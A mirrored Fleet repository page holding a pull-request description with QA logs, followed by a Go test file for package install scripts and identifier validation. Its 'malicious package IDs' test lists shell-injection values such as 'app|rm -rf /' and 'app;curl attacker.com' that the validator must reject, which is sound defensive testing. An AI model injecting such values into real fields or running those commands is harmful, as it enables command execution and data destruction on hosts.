mirror of
https://github.com/fleetdm/fleet
synced 2026-05-24 09:28:54 +00:00
<!-- Add the related story/sub-task/bug number, like Resolves #123, or remove if NA --> **Related issue:** Resolves #32126 # Checklist for submitter - [x] Changes file added for user-visible changes in `changes/`, `orbit/changes/` or `ee/fleetd-chrome/changes`. See [Changes files](https://github.com/fleetdm/fleet/blob/main/docs/Contributing/guides/committing-changes.md#changes-files) for more information. ## Testing - [ ] Added/updated automated tests - [x] QA'd all new/changed functionality manually Steps: - Have fleetd installed on the host. - `make build` and re-run the server. - Generate a new fleetd package: `./build/fleetctl package --type=pkg --enable-scripts --fleet-desktop --fleet-url=<URL> --enroll-secret=<SECRET>` - Upload the newly-generated `fleet-osquery.pkg` to Host details > Software > Library. - Click `Install`. - When the install finishes, verify that the UI says `Installed`: <img width="1433" height="392" alt="Screenshot 2026-03-20 at 4 42 19 PM" src="https://github.com/user-attachments/assets/ec78b63e-e5c7-4b27-acde-4e4f63f5f7b2" /> - Verified logs: `/var/log/orbit/orbit.stderr.log` logs after successful upgrade: ``` 2026-03-20T16:24:58-03:00 INF hash(orbit)=4ba4729515dc6923cf54eaca610c6dbded344941a10e552579c19676b7419bc5643e98fd8cf404d8ed2cd6168d7b756b2df56997ff41b51b520fa6456b407979 2026-03-20T16:24:58-03:00 INF hash(osqueryd)=9d2ab3eb30537e38c78a089ae28196d34afc436030bca10ae60a06fd20e344bc911ab0e036e8abb44e401809b6056a04aa9dddf00d90386a451fe55ca3a0ffe8 2026-03-20T16:24:58-03:00 INF hash(desktop)=9317a1617709492dec2cb2ff3821412e5061c402b1c7988f16a99faa81b2c8dffa1fb038d5fb8c4dae67e5545a577bbe6b1a8c13adb39453b2ba7bddfb36dafa 2026-03-20T16:24:58-03:00 INF orbit version: 1.53.1 2026-03-20T16:25:00-03:00 INF Found osquery version: 5.21.0 2026-03-20T16:25:12-03:00 INF token rotation is enabled 2026-03-20T16:25:14-03:00 INF Found fleet-desktop version: 1.53.1 2026-03-20T16:25:14-03:00 INF checking for custom mdm enrollment profile with end user email 2026-03-20T16:25:14-03:00 INF get custom enrollment profile end user email: profile not found 2026-03-20T16:25:14-03:00 INF orbitClient.GetServerCapabilities() map[end_user_email:{} escrow_buddy:{} linux_disk_encryption_escrow:{} macos_web_setup_experience:{} orbit_endpoints:{} setup_experience:{} token_rotation:{} web_setup_experience:{}] 2026-03-20T16:25:14-03:00 INF opening path="/opt/orbit/bin/desktop/macos/stable/Fleet Desktop.app" 2026-03-20T16:25:14-03:00 INF start osqueryd cmd="/opt/orbit/bin/osqueryd/macos-app/stable/osquery.app/Contents/MacOS/osqueryd --pidfile=/opt/orbit/osquery.pid --extensions_socket=/opt/orbit/orbit-osquery.em --logger_path=/opt/orbit/osquery_log --enroll_secret_env ENROLL_SECRET --tls_hostname=nicofleet.ngrok.io --enroll_tls_endpoint=/api/v1/osquery/enroll --config_plugin=tls --config_tls_endpoint=/api/v1/osquery/config --config_refresh=60 --disable_distributed=false --distributed_plugin=tls --distributed_tls_max_attempts=10 --distributed_tls_read_endpoint=/api/v1/osquery/distributed/read --distributed_tls_write_endpoint=/api/v1/osquery/distributed/write --logger_plugin=tls,filesystem --logger_tls_endpoint=/api/v1/osquery/log --disable_carver=false --carver_disable_function=false --carver_start_endpoint=/api/v1/osquery/carve/begin --carver_continue_endpoint=/api/v1/osquery/carve/block --carver_block_size=8000000 --tls_accept_gzip=true --tls_server_certs /opt/orbit/certs.pem --augeas_lenses /opt/orbit/lenses --force --flagfile /opt/orbit/osquery.flags --host-identifier uuid --database_path /opt/orbit/osquery.db" 2026-03-20T16:25:14-03:00 INF killing any pre-existing fleet-desktop instances I0320 16:25:20.108963 1878142976 interface.cpp:137] Registering extension (com.fleetdm.orbit.osquery_extension.v1, 45937, version=, sdk=) I0320 16:25:30.446642 194764992 eventfactory.cpp:156] Event publisher not enabled: endpointsecurity: EndpointSecurity is disabled via configuration I0320 16:25:30.474906 194764992 eventfactory.cpp:156] Event publisher not enabled: endpointsecurity_fim: EndpointSecurity is disabled via configuration I0320 16:25:30.475134 194764992 eventfactory.cpp:156] Event publisher not enabled: openbsm: Publisher disabled via configuration I0320 16:25:30.475183 194764992 eventfactory.cpp:156] Event publisher not enabled: scnetwork: Publisher not used I0320 16:25:30.475217 194764992 eventfactory.cpp:156] Event publisher not enabled: event_tapping: Publisher disabled via configuration 2026-03-20T16:27:14-03:00 INF received notification for software installers: [147149e7-2634-4b23-b724-aafc995e3f09] runner=installer 2026-03-20T16:27:14-03:00 INF processing installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer 2026-03-20T16:27:14-03:00 INF fetching installer details installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer 2026-03-20T16:27:14-03:00 INF about to download software installer from Fleet installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer 2026-03-20T16:27:37-03:00 INF done downloading installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer 2026-03-20T16:27:37-03:00 INF software installer downloaded installerID=147149e7-2634-4b23-b724-aafc995e3f09 installerPath=/tmp/3354102551/fleet-osquery.pkg runner=installer 2026-03-20T16:27:37-03:00 INF about to run install script installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer 2026-03-20T16:27:40-03:00 INF install script exitCode=0 installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer ``` --------- Co-authored-by: Lucas Manuel Rodriguez <lucas@fleetdm.com>
159 lines
4.2 KiB
Go
159 lines
4.2 KiB
Go
package file
|
|
|
|
import (
|
|
"flag"
|
|
"io"
|
|
"os"
|
|
"path/filepath"
|
|
"testing"
|
|
|
|
"github.com/stretchr/testify/assert"
|
|
"github.com/stretchr/testify/require"
|
|
)
|
|
|
|
var update = flag.Bool("update", false, "update the golden files of this test")
|
|
|
|
func TestMain(m *testing.M) {
|
|
flag.Parse()
|
|
os.Exit(m.Run())
|
|
}
|
|
|
|
// Note: to update the goldens, delete testdata/scripts/* and run the tests with `-update`:
|
|
//
|
|
// go test ./pkg/file/... -update
|
|
func TestGetInstallAndRemoveScript(t *testing.T) {
|
|
t.Parallel()
|
|
scriptsByType := map[string]map[string]string{
|
|
"msi": {
|
|
"install": "./scripts/install_msi.ps1",
|
|
"remove": "./scripts/remove_msi.ps1",
|
|
"uninstall": "./scripts/uninstall_msi.ps1",
|
|
},
|
|
"pkg": {
|
|
"install": "./scripts/install_pkg.sh",
|
|
"remove": "./scripts/remove_pkg.sh",
|
|
"uninstall": "./scripts/uninstall_pkg.sh",
|
|
},
|
|
"deb": {
|
|
"install": "./scripts/install_deb.sh",
|
|
"remove": "./scripts/remove_deb.sh",
|
|
"uninstall": "./scripts/uninstall_deb.sh",
|
|
},
|
|
"rpm": {
|
|
"install": "./scripts/install_rpm.sh",
|
|
"remove": "./scripts/remove_rpm.sh",
|
|
"uninstall": "./scripts/uninstall_rpm.sh",
|
|
},
|
|
"exe": {
|
|
"install": "",
|
|
"remove": "./scripts/remove_exe.ps1",
|
|
"uninstall": "",
|
|
},
|
|
}
|
|
|
|
for itype, scripts := range scriptsByType {
|
|
gotScript := GetInstallScript(itype)
|
|
assertGoldenMatches(t, scripts["install"], gotScript, *update)
|
|
|
|
gotScript = GetRemoveScript(itype)
|
|
assertGoldenMatches(t, scripts["remove"], gotScript, *update)
|
|
|
|
gotScript = GetUninstallScript(itype)
|
|
assertGoldenMatches(t, scripts["uninstall"], gotScript, *update)
|
|
}
|
|
|
|
// Fleetd-specific install script for pkg
|
|
assertGoldenMatches(t, "./scripts/install_pkg_fleetd.sh", InstallPkgFleetdScript, *update)
|
|
}
|
|
|
|
func TestValidatePackageIdentifiers(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
t.Run("valid identifiers", func(t *testing.T) {
|
|
validIDs := []string{
|
|
"com.example.app",
|
|
"ruby",
|
|
"org.mozilla.firefox",
|
|
"{12345-ABCDE-67890}",
|
|
"Microsoft.VisualStudioCode",
|
|
"package/name",
|
|
"my-app_v2.0+build1",
|
|
"app:latest",
|
|
"name@version",
|
|
"path/to/pkg",
|
|
"a~b",
|
|
"comma,separated",
|
|
"with spaces",
|
|
"CrossCore\u00ae Embedded Studio v3.0.2",
|
|
"Adobe Acrobat (64-bit)",
|
|
"C# Runtime",
|
|
"日本語アプリ",
|
|
}
|
|
require.NoError(t, ValidatePackageIdentifiers(validIDs, ""))
|
|
require.NoError(t, ValidatePackageIdentifiers(nil, "{UPGRADE-CODE-123}"))
|
|
require.NoError(t, ValidatePackageIdentifiers(validIDs, "{UPGRADE-CODE-123}"))
|
|
})
|
|
|
|
t.Run("empty inputs", func(t *testing.T) {
|
|
require.NoError(t, ValidatePackageIdentifiers(nil, ""))
|
|
require.NoError(t, ValidatePackageIdentifiers([]string{}, ""))
|
|
})
|
|
|
|
t.Run("malicious package IDs", func(t *testing.T) {
|
|
maliciousIDs := []struct {
|
|
name string
|
|
id string
|
|
}{
|
|
{"command substitution", "com.app$(id)"},
|
|
{"backtick execution", "app`id`"},
|
|
{"pipe injection", "app|rm -rf /"},
|
|
{"semicolon injection", "app;curl attacker.com"},
|
|
{"ampersand injection", "app&wget evil.com"},
|
|
{"redirect output", "app>file"},
|
|
{"redirect input", "app<file"},
|
|
{"single quote", "app'break"},
|
|
{"double quote", `app"break`},
|
|
{"backslash", `app\n`},
|
|
{"newline", "app\nid"},
|
|
{"exclamation", "app!cmd"},
|
|
}
|
|
for _, tc := range maliciousIDs {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
err := ValidatePackageIdentifiers([]string{tc.id}, "")
|
|
require.Error(t, err)
|
|
assert.Contains(t, err.Error(), "contains invalid characters")
|
|
})
|
|
}
|
|
})
|
|
|
|
t.Run("malicious upgrade code", func(t *testing.T) {
|
|
err := ValidatePackageIdentifiers(nil, "code$(id)")
|
|
require.Error(t, err)
|
|
assert.Contains(t, err.Error(), "upgrade code")
|
|
assert.Contains(t, err.Error(), "contains invalid characters")
|
|
})
|
|
}
|
|
|
|
func assertGoldenMatches(t *testing.T, goldenFile string, actual string, update bool) {
|
|
t.Helper()
|
|
if goldenFile == "" {
|
|
require.Empty(t, actual)
|
|
return
|
|
}
|
|
|
|
goldenPath := filepath.Join("testdata", goldenFile+".golden")
|
|
|
|
f, err := os.OpenFile(goldenPath, os.O_RDWR|os.O_CREATE, 0o644) // nolint:gosec // G302
|
|
require.NoError(t, err)
|
|
defer f.Close()
|
|
|
|
if update {
|
|
_, err := f.WriteString(actual)
|
|
require.NoError(t, err)
|
|
return
|
|
}
|
|
|
|
content, err := io.ReadAll(f)
|
|
require.NoError(t, err)
|
|
assert.Equal(t, string(content), actual)
|
|
}
|